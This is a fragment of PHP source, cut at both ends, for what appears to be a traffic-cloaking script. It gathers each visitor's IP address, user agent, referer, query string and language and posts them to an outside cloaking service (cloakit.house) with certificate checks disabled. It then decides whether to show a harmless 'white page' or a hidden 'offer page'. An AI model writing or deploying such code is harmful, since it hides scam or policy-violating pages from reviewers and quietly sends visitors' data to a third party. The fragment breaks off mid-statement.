[ 'verify_peer' => FALSE, 'verify_peer_name' => FALSE ], 'http' => [ 'header' => 'User-Agent: ' . get_user_agent() ] ]); } function get_user_agent() { return ! empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; } function get_referer() { return ! empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; } function get_query_string() { return ! empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : ''; } function get_browser_language() { return ! empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; } $request_data = [ 'label' => '7687256342aed020cd0b33619ba13da8', 'user_agent' => get_user_agent(), 'referer' => get_referer(), 'query' => get_query_string(), 'lang' => get_browser_language(), 'ip_address' => get_real_ip_address() ]; $request_data = http_build_query($request_data); $success_codes = [200, 201, 204, 206]; $ch = curl_init('https://cloakit.house/api/v1/check'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_TIMEOUT => 15, CURLOPT_POSTFIELDS => $request_data ]); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if (isset($info['http_code']) && in_array($info['http_code'], $success_codes)) { $body = json_decode($result, TRUE); // Check for errors if ( ! empty($body['filter_type'])) { $messages = [ 'subscription_expired' => 'Your Subscription Expired.', 'flow_deleted' => 'Flow Deleted.', 'flow_banned' => 'Flow Banned.', ]; if (isset($messages[$body['filter_type']])) { exit($messages[$body['filter_type']]); } } if ( ! empty($body['url_white_page']) && ! empty($body['url_offer_page'])) { // Offer Page if ($body['filter_page'] == 'offer') { if ($body['mode_offer_page'] == 'loading') { if (filter_var($body['url_offer_page'], FILTER_VALIDATE_URL)) { echo str_replace('
', '